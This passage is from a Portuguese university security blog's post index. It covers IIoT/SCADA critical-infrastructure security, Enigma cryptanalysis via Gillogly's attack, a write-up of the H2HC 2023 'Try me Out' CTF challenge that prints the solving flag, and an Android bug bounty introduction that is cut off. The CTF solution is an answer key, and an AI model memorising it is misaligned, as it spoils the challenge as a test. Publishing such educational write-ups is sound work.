Water Company em 2016 em que foram alterados os níveis dos produtos químicos usados no tratamento de água; (i) ataque ao edifício em Lappeenranta (Finlândia) em 2016 que causou a interrupção de aquecimento de água durante o inverno finlandês; (j) ataque à fábrica petroquímica na Arábia Saudita em 2017 que pretendia sabotar as operações e causar uma explosão. Pondera-se que a maior parte da engenharia de sistemas de controle dessas ocorrências envolviam tipicamente o software SCADA (Supervisory Control and Data Acquisition).\nÉ importante deixar claro que, na automação industrial, existem 4 gerações de SCADA, tais como: os sistemas SCADA iniciais (primeira geração) em que os dados adquiridos e o controle realizado se davam de forma independente, sem conexões com redes de comunicação e com interface homem-máquina; nos sistemas SCADA distribuídos (segunda geração) é possível controlar vários sistemas simultaneamente; nos sistemas SCADA em rede (terceira geração) o controle ocorre por conexão com redes de dados e/ou telefônicas com fibra óptica ou Ethernet; e nos sistemas SCADA IIoT (quarta geração), na automação industrial inteligente, foi possível simplificar o gerenciamento dos dados e melhorar os sistemas SCADA, para garantir operações automatizadas e remotas sem a necessidade de intervenção humana. Para exemplificar, na Figura 3 está demonstrada uma arquitetura genérica de processo em SCADA/IIoT em malha de controle fechada. Esse sistema de controle por retroalimentação é muito utilizado na indústria porque torna o sistema mais rápido, preciso e menos sensível a perturbações no processo industrial. No entanto, essa malha está mais suscetível a diminuição da estabilidade. Os principais componentes de um sistema SCADA incluem unidades de hardware e software, em que os aplicativos são executados em um servidor e os desktop e telas atuam como HMI (Human Machine Interface) conectada ao servidor. Além disso, duas importantes unidades estão presentes: a Unidade Terminal Mestre (MTU) que é núcleo do sistema SCADA, e a Unidade Terminal Remota (RTU) ou PLC (Controlador Lógico Programável) conectado aos sensores e atuadores do processo industrial. Nos RTUs são armazenados os dados de processo e transmitidos ao MTU por meio da rede de comunicação. Aqui, neste resumo, para fins de simplificação, não será descrita a dinâmica de resposta da malha de controle e tão pouco os tipos de controladores, sensores e atuadores. Essa tarefa está prevista para um próximo resumo.\nFigura 3 – Configuração genérica de processo em SCADA/IIoT em malha de controle fechada. Fonte: Elaboração própria.\nNo caso particular de processos industriais em Infraestruturas Críticas no contexto de SCADA/IIoT, pode-se destacar um sistema simplificado de tratamento de água como demonstrado na Figura 4, em que tem o objetivo de controlar a pressão de fluxo antes de uma bomba hidráulica e após as saídas dos filtros. Esse processo foi idealizado pela empresa Define Instruments® para uma grande estação de filtração de água na região da Flórida/EUA. É importante destacar que o processo de filtração de água é importante na retirada de diversos contaminantes da água. O meio filtrante pode ser desde leitos de areia à carvão ativado para remoção de particulados com variados tipos de granulometria, além de membranas que possuem poros muito reduzidos.\nFigura 4 – Monitoramento e controle remoto em estação de filtração de água. Fonte: Site da empresa Define Instruments®.\nÉ relevante esclarecer que os objetivos principais do controle de processos são suprimir a influência de perturbações, assegurar a estabilidade e otimizar o desempenho. Nesse sentido, as invasões cibernéticas podem ter como alvo especialmente os atuadores mais vulneráveis, acarretando adição de perturbações à malha o que gera estados inseguros da planta industrial. Yadav et al. (2021) listaram importantes ataques à sistema ICS-SCADA desde a década de 80 e mostram que 28% dos relatos são devido à ataques de malware. Sabe-se que os sistemas de controle baseados em IIoT, em especial, para Infraestruturas Críticas, passam por contínuo aperfeiçoamento, uma vez que os ataques cibernéticos se tornaram mais frequentes. Isso promove as crescentes inovações nesse setor.\nCENÁRIO GERAL DAS INOVAÇÕES Para se ter uma ideia do cenário de inovações nesse setor, uma breve prospecção tecnológica foi realizada em Janeiro de 2024. Foram utilizadas algumas combinações de palavras de busca na base WIPO (World Intellectual Property Organization) para melhor compreensão da ocorrência de patentes reivindicadas para tecnologia IIoT aplicada à Infraestruturas Críticas em sistemas SCADA. Ao usar as palavras-chave “IIoT” and “critical infrastructure” foram obtidos 1284 documentos e a adição do termo “scada”, recuperou 211 patentes. Pode-se constatar com esse levantamento que houve um aumento expressivo dos depósitos de patentes em 2023, sendo os Estados Unidos como principal país depositante, como mostrado na Figura 5. Além disso, as principais empresas inventoras são Qualcomm®, Strong Force Innovation®, Schneider Electric®, Kaspersky Lab® e AVEVA Software®. Interessante também citar que os depósitos tiveram início em 2017 e se intensificaram após a pandemia de Covid-19 quando da busca pelos termos “IIoT” and “critical infrastructure”. Ressalta-se que grande parte das invenções consideraram requisitos e/ou boas práticas de segurança cibernética, o que mostra a conscientização dos inventores quanto à necessidade de superação dos desafios em cenários de ataques virtuais às Infraestruturas Críticas. A presença marcante dos EUA em número de patentes é coerente com a estatística mostrada no estudo de Yadav et al. (2021) em que mostram os EUA como principal país atacado. Os números expressivos de ataques aos seus sistemas ICS-SCADA impulsionaram a corrida desse país na busca por mais soluções inovadoras.\nFigura 5 – Países inventores e anos de publicação das patentes. Fonte: WIPO (2024).\nCONSIDERAÇÕES FINAIS O breve levantamento bibliográfico realizado deixou claro que a utilização da Internet revolucionou os sistemas e arquiteturas ICS-SCADA e esses se tornaram o cerne das Infraestruturas Críticas. Constatou-se que as melhorias e facilidades criadas pela abordagem IIoT para uma indústria mais inteligente dialogam positivamente com as melhorias propostas pelo desenvolvimento sustentável. No entanto, é urgente que essa nova concepção industrial priorize a segurança cibernética, já que nela se concentram os gargalos tecnológicos do setor, particularmente, durante a concepção dos projetos com interface entre tecnologia operacional e tecnologia da informação. Essa necessidade tem sido incorporada às recentes inovações do setor, apesar de ainda muito recentes (após pandemia de Covid-19) e concentrada nos EUA.\nREFERÊNCIAS BIBLIOGRÁFICAS Bhamare, D.; Zolanvari, M.; Erbad, A.; Jain, R.; Khan, K. Cybersecurity for industrial control systems: A survey. Computers \u0026amp; Security 89 (2020) 101-677.\nCISA. Cybersecurity \u0026amp; Infrastructure Security Agency. 3RD Annual National Cybersecurity Summit. Recommended Cybersecurity Practices for Industrial Control Systems (2022).\nKimani, K.; Oduol, V.; Langat, K. Cyber security challenges for IoT-based smart grid networks. International Journal of Critical Infrastructure Protection 25 (2019) 36-49.\nMekala, S.H.; Baig, Z.; Anwar, A.; Zeadally, S. Cybersecurity for Industrial IoT (IIoT): Threats, countermeasures, challenges and future directions. Computer Communications 208 (2023) 294–320.\nOECD. Organisation for Economic Co-operation and Development. Case study on Internet of Things in manufacturing. Disponível em: https://www.oecd-ilibrary.org/sites/c4be2088-en/index.html?itemId=/content/component/c4be2088-en. Acesso: 05/01/24.\nUrquhart, L.; McAuley, D. Avoiding the internet of insecure industrial things. Computer Law \u0026amp; Security Review 34 (2018) 450-466.\nWIPO. World Intellectual Property Organization.\nYadav, G.; Paul, K. Architecture and security of SCADA systems: A review. International Journal of Critical Infrastructure Protection 34 (2021) 100-433.\n","permalink":"http://grisufrj.github.io/blog/2024-01-11-sinergia-iiot-ic/","summary":"RESUMO É consenso que a Internet Industrial das Coisas (IIoT) trouxe avanços tecnológicos para a indústria, além de novos arranjos de uma produção mais inteligente, que possibilita maior conexão entre tecnologia e desenvolvimento sustentável, além das melhorias nas funcionalidades do software SCADA, muito utilizado por diversos Sistemas de Controle Industriais (ICS). No entanto, há uma preocupação crescente com a segurança das Infraestruturas Críticas, uma vez que ficaram mais suscetíveis aos ataques cibernéticos.","title":"Sinergia entre a Internet Industrial das Coisas (IIoT) e as Infraestruturas Críticas"},{"content":"Introdução - O que é a Enigma? Com a chegada da Segunda Guerra Mundial, os países envolvidos viram a necessidade de implementar métodos mais seguros de criptografia para que as comunicações entre rádios e outras comunicações militares não pudessem ser facilmente interceptadas e decifradas, e a Enigma foi a máquina eletromecânica de criptografia adotada pela Alemanha na Segunda Guerra Mundial.\nAo longo da Guerra, muitos pesquisadores aliados estiveram envolvidos na solução da Enigma, ou melhor, nas técnicas de decriptação das mensagens intereceptadas. Suas pesquisas se baseavam em ‘KPA’ - “Known-plaintext attack”, provalmente porque as mensagens interceptadas se limitavam a somente 200 caracteres, o que dificultaria um ataque “ciphertext only”.\nEsse resumo é bem breve, então para mais detalhes de como as soluções foram desenvolvidas tanto pelos Polacos Marian Rejewski, Henryk Zygalski e Jerzy Rózycki quanto pelos Britânicos de Bletchey Park com Alan Turing e Gordon Welchman, e para uma explicação mais detalhada das equações presentes no sistema de criptografia, visite o artigo original.\nOs Mecanismos da Enigma 1. Uma Breve Descrição Ao longo dos anos, a máquina Enigma assumiu algumas formas, contudo as alterações não mudaram muito seu escopo externo, mantendo assim a aparência de uma caixa registradora com uma máquina datilográfica.\nEla era formada por 5 componentes:\nTeclado Plugboard Rotores Refletor Lâmpadas Assim, o operador pressionava uma tecla, fazendo com que a corrente elétrica passasse para o plugboard, em seguida pelos 3 rotores, da direita para a esquerda, e refletor, nessa sequência. E como o nome já diz, o refletor, com sua própria permutação, fazia com que a corrente realizasse o caminho inverso até chegar na lampboard, iluminando o caractere obtido.\n1.1. Teclado e Lâmpadas O teclado e as lâmpadas representam, respectivamente, o input e o output de um caractere na máquina Enigma. Na versão original, a Enigma possui 26 lâmpadas representando as letras do alfabeto, o mesmo vale para o teclado.\nQuando o processo se encerra, a lâmpada acende com a letra encriptada.\n1.2. Plugboard A Plugboard é o único mecanismo que só existe na versão militar da Enigma,\nEsse elemento permitia a alteração manual de pares de letras entre si - a parte monoalfabetica da cifra - embaralhando o Alfabeto, e portanto, a mensagem. Essa funcionalidade se dava por cabos com ‘jacks’ nas pontas que conectavam as duas letras em questão.\nEsse mecanismo permitia uma permutação adicional antes da entrada nos rotores, adicionando uma camada extra de complexidade à criptografia.\nAssim, caso o par “AZ” fosse escolhido, o sinal “A” passaria do teclado para a plugboard, que então se tornaria “Z” e o mesmo vale no caminho inverso.\n1.3. Rotores Os rotores eram o coração da Enigma. Eles eram discos circulares que contavam com 26 contatos elétricos dos dois lados, e cada contato era conectado “aleatoriamente” a outro do lado oposto.\nQuando uma tecla do Teclado era pressionada, uma corrente elétrica passava do primeiro rotor, que girava para uma posição diferente. Assim, a corrente elétrica fluia por um conjunto diferente de contatos, embaralhando a mensagem.\nA Enigma possuia 8 possibilidades de rotores e cada um deles mapeava uma letra do alfabeto para um outra. Esse mapeamento é chamado de Permutação ou Wiring.\nAbaixo estão representadas essas permutações:\nRotor I : EKMFLGDQVZNTOWYHXUSPAIBRCJ Notch: Q Rotor II : AJDKSIRUXBLHWTMCQGZNPYFVOE Notch: E Rotor III : BDFHJLCPRTXVZNYEIWGAKMUSQO Notch: V Rotor IV : ESOVPZJAYQUIRHXLNFTGKDCMWB Notch: J Rotor V : VZBRGITYUPSDNHLXAWMJQOFECK Notch: Z Rotor VI : JPGVOUMFYQBENHZRDKASXLICTW Notches: Z+M Rotor VII : NZJHGRCXMYSWBOUFAIVLPEKQDT Notches: Z+M Rotor VIII : FKQHTLXOCBJSPDZRAMEWNIUYGV Notches: Z+M 1.3.1. Notches: A melhor maneira, talvez, de entender como funciona o Notch, seja com uma alusão ao Relógio.\nO Ponteiro dos Segundos precisa dar uma volta completa (60s) no relógio para que o Ponteiro dos Minutos mova uma posição e esse por sua vez precisa dar uma volta completa (60 min) para que o Ponteiro das Horas mova uma posição.\nAssim, para que o ponteiro das horas mova uma posição, o Ponteiro dos Segundos precisa realizar 60 voltas completas, que é equivalente a 3600 segundos.\nVoltando para os rotores, em uma configuração de rotores I-II-III, em que a corrente vem da plugboard para o rotor III.\nPara que o rotor II mova uma posição, eu preciso que o rotor III chegue no notch (letra V), que no caso do relógio eram 60 voltas completas com ponteiro iniciando no 12.\nAssim, quando o rotor III estiver na posição “V”, a próxima letra digitada fará com que o rotor II mova uma posição.\nCada rotor possui um notch diferente e por volta de 1941, três rotores foram introduzidos com dois notches, ou seja, faria com que o próximo rotor girasse dobro de vezes.\n1.3.2. Rings: A configuração dos ‘Rings’ ou Anéis afetava o mapeamento interno dos rotores e por sua vez, o notch.\nEsse anel era um círculo que ficava ao redor do rotor contendo o alfabeto impresso. Assim, era possível rotacionar esse alfabeto alterando a permutação interna dos rotores.\nCaso a ‘Ring Setting’ do rotor de tipo IV fosse 2, o Notch seria alterado de “J” para “H”.\n1.4. Refletor Em seguida, temos o Refletor, que também possui 26 contatos de um lado. Entretanto, ao contrário dos Rotores, um contato é conectado a outro do mesmo lado, retornando a corrente para fazer o caminho inverso até as lâmpadas.\nA Enigma possuía três tipos de refletores, representados por:\nA : EJMZALYXVBWFCRQUONTSPIKHGD B : YRUHQSLDPXNGOKMIEBFZCWVJAT C : FVPJIAOYEDRZXWGCTKUQSBNMHL Para ilustrar:\nEm uma máquina Enigma equipada com um refletor do tipo B, quando o sinal correspondente a letra “A” chegava do rotor esquerdo para o refletor, o sinal passado de volta seria a letra “Y”.\nPor causa desse componente que a máquina era capaz de tanto encriptar mensagens quanto decriptá-las, até porque cada letra segue um caminho simétrico.\n2. Testes de Mensagem: Para testar o funcionamento da Enigma implementada, é necessário escolher as configurações iniciais dos rotores, rings e as conexões da plugboard e cifrar um texto arbitrário.\nA mensagem original é obtida de volta quando se encripta a cifra com as mesmas configurações iniciais em que a mensagem foi encriptada.\nDada a mensagem m = \u0026ldquo;GRISUFRJ\u0026rdquo;, o teste será encriptar m com as seguintes condições:\nRotores=(I,II,III), Keys=(E,D,P), Rings=(4,3,14) e Plugboard=(GR, IS, UF). 3. Gillogly’s Attack Esse ataque brute-force foi publicado em 1995 na Cryptologia por Ph.D. James J. Gillogly.\nEle consiste em encontrar as componentes da enigma utilizadas e na ordem que melhor se encaixam individualmente através de testes estatísticos.\nComo durante a Segunda Guerra um ataque brute-force ciphertext only não era viável, tanto pelos tamanhos das mensagens que deveriam ser curtas (apesar dessa restrição ter sido desrespeitada diversas vezes) quanto pelo poder computacional da época, as soluções vistas anterioemente se baseavam em known plaintext attacks. Com o poder computacional atual e com mensagens de tamanho arbitrariamente grande, é possível implementar um ataque ciphertext only.\n3.1. Quantidade de Configurações: Para dar uma noção de como se daria a quantidade de diferentes configurações podem ser utilizadas:\nUma máquina Enigma contém 3 rotores funcionando simultaneamente, logo devem ser escolhidos 3 de 8 rotores disponíveis, o que é equivalente a um arranjo simples.\nPara cada escolha de rotores, devem ser testadas 26 posições iniciais, que é:\nAlém disso, para cada uma dessas possibilidades acima, as configurações de anéis deveriam ser checadas. Contudo, como já foi explicitado nos problemas da enigma, podemos ignorar pelo menos o anel do rotor esquerdo e mantê-lo como zero, o que resulta em:\nPor fim, devemos encontrar as conexões na Plugboard, que no máximo tem 10 pares conectados. Sabemos então, que:\n6 letras não estão conectadas A ordem dos pares agrupados não importa : (Par1, Par2, …, Par10) = (Par10, Par1, …, Par2) A ordem em que as letras são conectadas também não importa (”AB” = “BA”) Assim, obtemos:\nO total de possibilidades torna a checagem de cada uma das configurações impossível. Felizmente, esse número astronômico pode ser reduzido com ferramentas estatísticas, filtrando os melhores resultados em cada etapa.\n3.2. Índice de Coincidência: O índice de coindicência, ou teste Kappa, é definido pela probabilidade de escolher duas letras iguais de uma mesma mensagem encriptada, seja ela uma cifra mono ou polialfabética.\nA sua fórmula é facilmente obtida:\nonde n_i representa a frequência da letra i na cifra e N representa o tamanho da mensagem.\nAssim, a fórmula pode ser reduzida a:\nFoi através dessa ferramenta que os polacos foram capazes de descobrir que se tratava de uma cifra polialfabética.\n3.3. Trigram: O trigram é um caso de N-gram, que é usado para processamento de linguagem natural em análise estátistica de textos. O trigram procura responder a seguinte pergunta: qual a probabilidade de ocorrer uma sequência espeífica de três elementos consecutivos no texto?\nEntão, em termos de probabilidade, dado dois termos anteriores ω1, ω2, qual a probabilidade do próximo ser ω3?\nO modelo escolhido para a análise estatística da mensagem encriptada foi retirado do site PracticalCryptography.\n3.5. Ordem dos Rotores: De ínicio, a Enigma deve manter os anéis em (0,0,0) e a plugboard sem conexões.\nPara cada uma das 336 opções de rotores disponíveis, começa a busca por suas posições iniciais.\nA configuração que melhor atende à mensagem será obtida ao encriptar novamente a mensagem e calcular o Índice de Coincidência dessa nova cifra.\nPor minha escolha, mantive os 3 melhores resultados e seus possíveis plaintexts.\nObserve que, por começar com anéis em (0,0,0) o código tentará ajustar as posições iniciais compensando os anéis.\n3.6. Ordem dos Anéis: Com os 3 melhores rotores e respectivas posições iniciais, procuramos pelos anéis que mais aproximam a mensagem encriptada de uma língua natural.\nA busca pelo anel do rotor esquerdo é desnecessária, visto que ele quase nunca roda, restando a busca de 676 diferentes posições de anéis, portanto:\nNovamente, utiliza-se o Índice de Coincidência e classifico novamente em relação sua pontuação. Contudo, diferentemente da busca dos rotores, é possível descobrir sua pontuação em IoC individualmente.\nConfigure os anéis para (0,0,i), onde i é o anel correspondente ao índice do laço ‘for’ e inicie a busca pelo melhor anel para o rotor direito e mantenha o valor de i que melhor pontuou no índice de coincidência, aqui armazenaremos ele como bestScore(i).\nPara o segundo anel, utilize outro laço ‘for’ passando agora pelo rotor do meio com configuração de anel (0, j, bestScore(i)) e de novo encripte a mensagem com a configuração correspondente e mantenha o valor j com melhor pontuação.\n3.7. Conexões da Plugboard: O passo final do algoritmo recebe a melhor configuração de Enigma até então e procura por conexões que aumentam sua pontuação no Trigram.\nA função que eu implementei recebe como parâmetro a quantidade de conexões desejada, mas caso desejar pode manter o valor máximo 10 como padrão.\nEm um laço de n_conexões iterações, procuro o conector com melhor pontuação no Trigram e mantenho essa conexão na Enigma, ou seja, em cada iteração um par de letras é escolhido e ‘plugado’ na Enigma virtual, sempre em busca de um conector que melhore sua pontuação.\n4. Resultados: A mensagem encriptada é:\n4.1. Rotores: 4.2. Anéis: 4.3. Plugboard: A mensagem decriptada é o primeiro parágrafo do artigo de Gillogly:\n\u0026quot; Polish and British solutions to encrypted German Enigma traffic relied on sophisticated known plaintext attacks. The rotor wiring was known through brilliant cryptanalysis by the Polish mathematician Marian Rejewski and later through capture of naval Enigma rotors\u0026quot;\n5. Referências: SOLVING THE ENIGMA - HISTORY OF THE CRYPTANALYTIC BOMBE: https://media.defense.gov/2022/Sep/29/2003087366/-1/-1/0/SOLVING THE ENIGMA - HISTORY OF THE CRYPTANALYTIC BOMBE.PDF THE ENIGMA HISTORY AND MATHEMATICS BY STEPHANIE FAINT (TESE DE MESTRADO): https://core.ac.uk/download/pdf/144149789.pdf PERMUTATION GROUPS AND THE SOLUTION OF GERMAN ENIGMA CIPHER: https://www.karlin.mff.cuni.cz/~tuma/nciphers/oulu.pdf AN APPLICATION OF THE THEORY OF PERMUTATIONS IN BREAKING THE ENIGMA CIPHER: https://www.impan.pl/Great/Rejewski/article.html CIPHERTEXT-ONLY CRYPTANALYSIS OF ENIGMA BY JAMES J. GILLOGLY: https://web.archive.org/web/20060720040135/http://members.fortunecity.com/jpeschel/gillog1.htm THE ENIGMA MACHINE: https://uwillnvrknow.github.io/deCryptMe/pages/enigma.html Marie-José Durand-Richard, Philippe Guillot. From Poznań to Bletchley Park : the history of cracking the ENIGMA machine. CIIT Lab Workshop on History of Cryptography, Faculty of Electronic Engineering, Nis (Serbie), Oct 2017, Nis, Serbia. pp.1-43. ffhalshs-03949790f: https://shs.hal.science/halshs-03949790/document CRACKING THE ENIGMA MACHINE - REJEWSKI, TURING AND THE MATH THAT SAVED THE WORLD: https://pt.slideshare.net/BradYoung/cracking-the-enigma-machine-rejewski-turing-and-the-math-that-saved-the-world ZYGALSKI SHEETS: https://journal.sciencemuseum.ac.uk/article/zygalski-sheets-polish-codebreaking-and-the-role-of-reconstruction-in-the-top-secret-exhibition-at-the-science-museum/#text-2 ENIGMA ROTOR DETAILS: https://en.wikipedia.org/wiki/Enigma_rotor_details#Ring_setting ENIGMA MACHINE WITH 256 PIN ROTORS: https://www.kopaldev.de/2022/06/13/cryptography-for-everybody-the-ascii-enigma-an-enigma-machine-with-256-pin-rotors/ ","permalink":"http://grisufrj.github.io/blog/2024-01-10-enigma/","summary":"Introdução - O que é a Enigma? Com a chegada da Segunda Guerra Mundial, os países envolvidos viram a necessidade de implementar métodos mais seguros de criptografia para que as comunicações entre rádios e outras comunicações militares não pudessem ser facilmente interceptadas e decifradas, e a Enigma foi a máquina eletromecânica de criptografia adotada pela Alemanha na Segunda Guerra Mundial.\nAo longo da Guerra, muitos pesquisadores aliados estiveram envolvidos na solução da Enigma, ou melhor, nas técnicas de decriptação das mensagens intereceptadas.","title":"Desvendando a Enigma"},{"content":"Este foi um dos desafios inclusos no CTF da H2HC 2023. Para resolver esse desafio de forma mais elegante, é necessário observar os procedimentos matemáticos realizados e perceber suas relações com um algoritmo de decomposição de matrizes bem conhecido.\nEntendendo o código A principal função deste programa é a função verify, que recebe um array de 24 caracteres. Isso dá o tamanho da flag. As variáveis mat1 e mat2 são arrays de arrays, o que é uma notação conhecida para matrizes. Além disso, mat2 é a transposta de mat1. A partir dessas variáveis, são encontradas outras duas, AAT e ATA, também matrizes, e surgem ma multiplicação de mat1 por mat2 e de mat2 por mat1, respectivamente. A função MatMul faz excluisvamente a multiplicação entre matrizes.\nA parte principal da função verify e o laço de repetição while. É ele que retira as informações do input para realizar a verificação. Ele depende da variável contador2, que é incialmente definida como 8.\nLogo no início do laço, são selecionados dois números da entrada e que são colocados no array temp. Esse número é convertido para float e armazenado na variável singval (o nome dessa variável é sugestivo). A variável eigval é obtida elevando o valor armazenado em singval divido por 10 ao quadrado. Em seguida, são encontradas condicionais, e em cada uma são definidos dois vetores de valores inteiros. No geral, afirma-se que o vetor eigvet2 é definido por elementos em posições predefinidas e que o vetor eigvet1 depende do valor da variável contador2. Em alguns casos, os números são multiplicados por -1. Isso é bastante relevante e é uma dica importante.\nApós sair da condicional, os valores nos arrays eigvet1 e eigvet2 são divididos por 10 e a partir disso são definidos outros dois vetores, result11 e result12, o quais possuem os valores armazenados em eigvet1 e em eigvet2 multiplicados pelo valor float armazenado em eigval. Além disso, são definidos os arrays result21 e result22, que são definidos como o resultado da multiplicação da matriz AAT pelo array eigvet1 e ATA pelo array eigvet2, respectivamente. Após isso, os valores em result11 são comparados com aqueles em result21, bem como os valores em result12 são comparados com aqueles em result22. Isso é feito em um laço de repetição for, que compara os elementos da mesma posição de cada array. Se a diferença entre os valores absolutos de cada elemento for menor ou igual a 1, é acrescido um ponto.\nApós sair deste laço for, a variável contador2 é acresida em 8. Ao fim do laço while, verifica-se a quantidade de pontos. Esta deve ser obrigatóriamente igual a 18 para a resposta correta.\nVendo que a comparação é feita entre vetores que surgem a partir de uma multiplicação de vetor por escalar e de multiplicação matriz por vetor, fica evidente que trata-se, essencialmente, de um problema de autovalores e autovetores. Os autovalores surgem ao elevar um outro valor númerico ao quadrado, e as matrizes são resultados de uma matriz multiplicada por sua transposta e da transposta de uma matriz multiplicada pela matriz original\u0026hellip; Tudo isso lembra a Decomposição SVD.\nA teoria por trás A Decompoisção em Valores Singulares (Singular Value Decomposition) é um algoritmo de decomposição existente para qualquer matriz. Em um espaço complexo, a Decomposição SVD diz que qualquer matriz M pode ser decomposta em: em que U e V* são matrizes unitárias. A matriz V* é a conjugada transposta da matriz V. Uma matriz unitária é aquela em que sua conjugada complexa coincide com sua inversa única. Como a matriz em questão é real, a matriz V* é simplesmente a matriz V transposta (V^T).\nExistem diversas formas de interpretar a decomposição SVD, mas ela pode ser interpretada como uma generalização da diagonalização de matrizes, procedimento que só pode ser feito para matrizes quadradas. Nesse sentido, a matriz Sigma deve ser uma matriz diagonal.\nSe multiplicarmos a equação da imagem acima pela conjugada transposta pela esquerda, encontramos: Como U é unitária, ao multiplicá-la pela sua transposta conjugada, encontra-se a matriz identidade, e pela matriz Sigma ser diagonal, Sigma multiplicada pela sua transposta resulta em uma matriz diagonal cujos elementos são os elementos da matriz Sigma ao quadrado.\nAnalogamente, se multiplicarmos a equação da imagem pela conjugada transposta pela direita, encontramos: . Como V é unitária, ao multiplicá-la pela sua transposta conjugada, encontra-se a matriz identidade, e pela matriz Sigma ser diagonal, Sigma multiplicada pela sua transposta resulta em uma matriz diagonal cujos elementos são os elementos da matriz Sigma ao quadrado.\nComo a matriz em questão é real, essa demonstração é feita simplesmente com a matriz transposta ao invés da conjugada transposta.\nSabe-se que, uma matriz multiplicada, independente da ordem, por sua transposta sempre resultará em uma matriz simétrica. Pelo teorema espectral para uma matriz em um espaço real com produto interno de dimensão finita, se uma matriz for simétrica, existe uma base ortonormal de autovetores de tal matriz, sendo que essa obrigatoriamente possui autovalores reais.\nAssim, aplicando esse teorema nas equações encontradas, percebe-se que as matriz U e V são compostas pelos autovetores das matrizes M^TM e MM^T, respectivamente. Além disso, nota-se que os autovalores dessas matrizes são iguais, e são equivalem aos elementos da matriz Sigma^2, o que garante que sejam reais. Assim, conclui-se que a matriz Sigma é uma matriz diagonal composta pelas raízes quadradas dos autovalores das matrizes M^TM e MM^T e a esses valores é dado o nome de valor singular.\nA decomposição SVD da matriz em questão é aproximadamente: As demais casas decimais foram excluídas por um motivo escrito mais à frente.\nApós computar a decomposição SVD da matriz em questão, deve-se observar novamente o algoritmo para saber qual deve ser a ordem dos elementos da flag.\nNota-se que a cada ciclo do laço de repeitção while a variável contador2 é acrescida em 8. A função desta variável é selecionar a coordenada do elemento da entrada que é o primeiro algarismo do número de dois dígitos que será usado para encontrar o autovalor. Este número de dois algarismos é dividido por 10 para formar o autovalor. A variável contador2 só pode assumir os valores 0, 8 e 16. Nesse sentido, sabe-se que essas serão as posições no array para o primeiro algarismo de cada valor singular multiplicado por 10.\nEm seguida, observa-se as condicionais: o array eigvet1 é sempre formado pelos números seguintes ao valor singular multiplicado por 10. Este array representa os autovetores da matriz AAT. logo, compõem a coluna da matriz U. Antes de ocorrer a multiplicação pela matriz ou pelo autovalor, lembre-se de que este vetor também tem seus elementos divididos por 10. Logo, percebe-se que os 3 números seguidos a cada valor singular multiplicado por 10 são os elementos do respectivo autovetor da matriz AAT, também multiplicados por 10.\nCom relação ao vetor eigvet2, se observarmos com cuidado, é possível ver que, nas condicionais, os primeiros elementos de cada autovetor estão em sequência. Isso significa que os 3 elementos após o último elemento do autovetor de AAT representam a coluna de V^T de mesma posição da coluna do valor singular em análise. Seus valores também são multiplicados por 10.\nTodos os valores são multiplicados por 10 pois, como o teorema espectral exige, os autovetores são ortonormais, ou seja, tem elementos de valor absoluto menor que 1. Escrever um valor decimal em uma flag é inviável. Como a função verify informa, a flag deve ter 24 caracteres, o que leva a entender que após a multiplicação por 10, deve ser ignorada a parte decimal restante.\nPor fim, a condição do primeiro if da função verify informa a ordem dos números com base nos valores singulares: Assim, controi-se a flag: 608522291758029140119913\nReferências https://towardsdatascience.com/simple-svd-algorithms-13291ad2eef2\nhttps://en.wikipedia.org/wiki/Singular_value_decomposition\nLIMA, Elon Lages. Álgebra Linear. 8. ed. [S. l.]: Instituto Nacional de Matemática Pura e Aplicada, 1995. ISBN 978-85-244-0089-0.\n","permalink":"http://grisufrj.github.io/blog/2024-01-09-write-up-try-me-out/","summary":"Este foi um dos desafios inclusos no CTF da H2HC 2023. Para resolver esse desafio de forma mais elegante, é necessário observar os procedimentos matemáticos realizados e perceber suas relações com um algoritmo de decomposição de matrizes bem conhecido.\nEntendendo o código A principal função deste programa é a função verify, que recebe um array de 24 caracteres. Isso dá o tamanho da flag. As variáveis mat1 e mat2 são arrays de arrays, o que é uma notação conhecida para matrizes.","title":"Write Up do Desafio Try me Out"},{"content":"Introdução Bug bounty em Android é um programa no qual empresas ou desenvolvedores oferecem recompensas para pessoas que descobrem e relatam vulnerabilidades de segurança em seus aplicativos ou sistemas operacionais Android. Neste trabalho, abordaremos os principais tópicos relacionados a bug bounty em Android, incluindo a importância do programa, as etapas envolvidas, técnicas comuns de testes de segurança e melhores práticas.\nI. Importância do Bug Bounty em Android: A crescente importância da segurança no ecossistema Android é impulsionada pelo aumento do número de ameaças cibernéticas direcionadas a dispositivos móveis. Os riscos potenciais de não ter um programa de bug bounty incluem o vazamento de dados dos usuários, comprometimento da integridade dos aplicativos e perda de reputação da empresa. Benefícios para os desenvolvedores e empresas que adotam um programa de bug bounty incluem a identificação antecipada de vulnerabilidades, melhoria da segurança e aumento da confiança dos usuários. II. Etapas de um Bug Bounty em Android: Preparação:\nDefinição dos objetivos do programa, para identificar e corrigir vulnerabilidades antes que sejam exploradas por agentes mal-intencionados. Definição do escopo para especificar quais aplicativos, versões do Android, dispositivos e outras áreas estão incluídas no programa de bug bounty. Estabelecimento de regras claras para relatórios e recompensas, é importante definir o formato esperado dos relatórios de vulnerabilidade e as diretrizes para determinar as recompensas. Descoberta de Vulnerabilidades:\nTécnicas comuns de testes de segurança em Android incluem análise estática de código, análise de reversão, fuzzing e testes de penetração. Teste de análise estática de código para examinar o código-fonte em busca de vulnerabilidades conhecidas, uso inadequado de APIs e más práticas de segurança. Teste de análise de reversão: examinar o código compilado em busca de vulnerabilidades, como strings sensíveis não criptografadas ou acesso inadequado a recursos. Fuzzing para enviar inputs aleatórios ou manipulados para identificar falhas de programação, como buffer overflows ou crashes do aplicativo. Testes de penetração são usados para simular ataques de hackers reais para identificar pontos fracos no aplicativo ou no sistema operacional Android. Relato de Vulnerabilidades:\nOs relatórios de vulnerabilidades devem ser detalhados e conter informações claras sobre a vulnerabilidade encontrada, incluindo passos para reprodução, contexto técnico e impacto potencial. As informações relevantes podem incluir a versão do Android, o dispositivo usado, o aplicativo específico e qualquer outro detalhe que ajude a entender a vulnerabilidade. Recomenda-se utilizar plataformas de bug bounty, como HackerOne ou Bugcrowd, para garantir que os relatórios sejam recebidos e tratados adequadamente. Quando usado alguma ferramenta de análise automática é bom sempre verificar a vulnerabilidade antes de reportar. Validação de Vulnerabilidades:\nA equipe responsável pelo programa de bug bounty irá revisar e validar os relatórios de vulnerabilidade recebidos. É importante fornecer provas claras da vulnerabilidade, como capturas de tela, logs ou scripts de exploração. A comunicação adequada entre o pesquisador e a equipe de bug bounty é fundamental para esclarecer dúvidas e garantir que a vulnerabilidade seja compreendida corretamente. Recompensas e Reconhecimento:\nAs recompensas em bug bounty podem variar, desde recompensas monetárias até agradecimentos públicos e até mesmo convites para eventos de segurança. A transparência no processo de recompensas é importante para motivar os pesquisadores e reconhecer seu trabalho. O 